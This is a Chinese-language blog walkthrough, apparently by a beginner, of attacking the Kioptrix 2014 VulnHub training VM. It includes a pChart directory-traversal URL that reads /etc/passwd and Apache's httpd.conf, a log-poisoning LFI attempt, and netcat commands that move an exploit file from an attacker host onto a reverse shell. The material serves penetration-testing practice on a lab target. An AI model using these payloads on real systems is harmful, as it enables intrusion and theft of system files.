kioptrix
::: {.container}
::: {.post}
::: {.show-content}
奇特的是,nmap完全没有探测到主机开放的痕迹,换了几个参数,扫来扫去都没有发现。。。
是不是配置错误,没有联网,可是桥接没错啊。
netdiscover -r 192.168.1.0/24
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
然后找到虚拟机作者的博客。他说这个虚拟机是为了初学者而设计,不是为了有十年经验的渗透者。他做的是帮助初学者在这方面起步。虚拟机有点问题,但是他不知道怎么解决,所以需要移除网卡,然后重新添加上去。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
信息搜集:
192.168.1.159
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden 没有权限进入该服务器8080端口。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
Device type: general purpose
操作系统: FreeBSD 9.0-RELEASE - 10.3-RELEASE
分析:
8080可能是代理,因为paros进行浏览器代理的时候,用的就是8080端口。(你能有靠谱点的理由吗!好吧,百度搜到的:8080端口是被用于WWW代理服务的,可以实现网页浏览,经常在访问某个网站或使用代理服务器的时候,会加上”:8080”端口号。另外Apache
Tomcat web server安装后,默认的服务端口就是8080.)
进一步探测:
经过初步探测,应该从80端口的http服务下手。
用paros扫描,完全没有什么用。注:新手依赖工具,老鸟使用经验就够了。可惜我还是菜鸟。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
换一个吧,用metasploit自带的web扫描扫描wmap。wmap使用。
也没有成功扫描出什么。。手工去翻网页
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
也看不出什么名堂。只好看writeup。
学习到了找到信息,有事没事丢到谷歌上扫的好习惯
敏感文件泄露、目录遍历漏洞
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
到exploit-db上查看,链接说是目录遍历漏洞和反射型xss
我晕,javascript一年多没碰忘得差不多了,反射型xss怎么整?
http://192.168.1.159/pChart2.1.3/examples/index.php?**Action=View&Script=%2f..%2f..%2fetc/passwd**
获取的用户信息
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin
http://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub
writeup已经贴上,就不复制粘贴利用过程了。
通过目录遍历漏洞获取apache的默认配置文件(信息搜集获取的服务器版本)。
通过查看默认配置文件,得知从8080端口进入(更改头文件)的方法。(要我我就就看不出也想不到)
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
本地文件包含:简而言之,在目标网站上,url直接是这种类型:http://www.xxx.com/index.php?page=1.html
就是说,网页通过变量page来获取访问者要求的内容,然而,如果给变量page传递其他文件,甚至是服务器上不打算公开的文件。该脚本还是会乖乖取过来递给攻击者。这TM就很尴尬了,权限没设置好啊。
好,我们现在分析一下,网页做了什么。
导航按钮有,案例、沙盒、延迟载入、图片地图
点案例,会有图片和图片的源代码。叫图片不合适,应该叫图表。
图片会延迟出现一点,说明可能是在本地浏览器,通过php脚本,现绘制而成(猜测)。
F12看网络交互,可以看到服务器传递来的资源,有一些png图片、gif图片,还有php脚本。
通过打开一些图片的地址
http://192.168.1.159/pChart2.1.3/examples/resources/dash-explorer-noleaf.png
确认图表是绘制而成的。
传递过来的php脚本的地址是这样的:
点沙盒,貌似可以通过页面上的表单改变参数,点生成图表,图表就可以根据给的参数而变化。
点延迟载入,翻译了下,貌似是拉丁语,不知道是什么东西。
点图片地图,貌似也有传递的php脚本。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
先用浏览器打开脚本的地址,然后用script参数试试/etc/passwd。发现两个地址都可以成功显示密码文件。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
还有一个问题。。不知道Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf,这个是怎么猜出来的?
如果服务器在给出的路径中,并没有那个文件,那么浏览器就会显示空白。每个目标的配置文件,位置应该会有所不同吧。。?
搜索”freebsd
apache路径”关键字,注意!下面的默认路径是apache而不是apache22。。。。而在目标中有版本号22。。。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
搜索关键字”freebsd apache log file
location”,尝试之下找出了两个文件路径。
尝试本地包含漏洞的代码执行,参考
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
失败,如上图所示,php代码并没有执行。还是<?php phpinfo();
?>。如果成功执行了,日志页面log应该如下所示。
失败的原因是:在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。可能那个参数没开,所以没有执行。(目标主机php版本5.3.8)
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
另一台虚拟靶机的截图
:::
:::
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
总结:
curl -H "User-Agent:Mozilla/4.0" http://192.168.1.159:8080
curl与wget的区别:wget用来下载文件。curl可以post数据,可以自定义request等,比较灵活。使用侧重点不同。
通过在msf里,用”search phptax”,寻找可利用模块。
nc -lvp 443 < exploit.c
(kali执行,将exploit-db的提权命令复制下来,然后监听本地443端口)
nc -nv kali主机ip 443 -w 5 >exploit.c
(目标主机反弹shell上执行,获取443端口的exploit文件)
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
可以知道,虽然文件包含漏洞在不能执行任意代码的时候,有点鸡肋,但是泄露的信息同样可能会导致getshell。所以不要小看任何漏洞。
:::
:::
:::